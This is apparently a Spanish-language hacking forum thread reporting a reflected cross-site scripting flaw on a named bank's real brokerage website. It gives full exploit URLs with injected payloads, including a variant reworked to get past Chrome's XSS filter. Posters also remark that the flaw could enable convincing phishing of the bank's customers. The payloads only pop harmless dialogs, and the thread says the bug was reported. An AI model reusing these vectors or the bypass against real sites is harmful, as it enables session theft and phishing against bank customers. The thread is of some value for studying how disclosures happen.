URL: https://broker.bankia.es
PATH: https://broker.bankia.es/CMB/comunes/cruce_cmb/0,0,45009&ric=-FTEU1,00.html?idPagina=%22%3E%3Cimg%20src=x%20onerror=prompt%28/Prophet/%29;%3E45009&ric=-FTEU1
Vector: "><img src=x onerror=prompt(/Prophet/);>
Imagen: http://i.snag.gy/J10Lc.jpg
(http://i.snag.gy/J10Lc.jpg)
Reportada.
Como era de esperar Chrome lo filtra
Chrome los filtra casi todos bro, de todas maneras eso no hace que la xss sea menos grave y menos tratandose de un banco
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Como era de esperar Chrome lo filtra
Si quieres mañana hago que funcione en Chrome
Ahí está funcionando en Chromium actualizado.
(http://img546.imageshack.us/img546/6508/capturadepantallade2013u.png)
http://img546.imageshack.us/img546/6508/capturadepantallade2013u.png
URL: https://broker.bankia.es/CMB/comunes/cruce_cmb/0,0,45009&ric=-FTEU1,00.html?idPagina=%22%3E%3Cimg%20src=x%20onerror=%22%3E%3Cconfirm(0);%3E;%3E45009&ric=-FTEU1
Saludos.
@Jimeno: La versión de Windows lo filtra :-\
@Sanko: Sí, es gravísimo. Podrían hacer un phising de calidad. Saldría hasta el escudito que todo el mundo busca jaja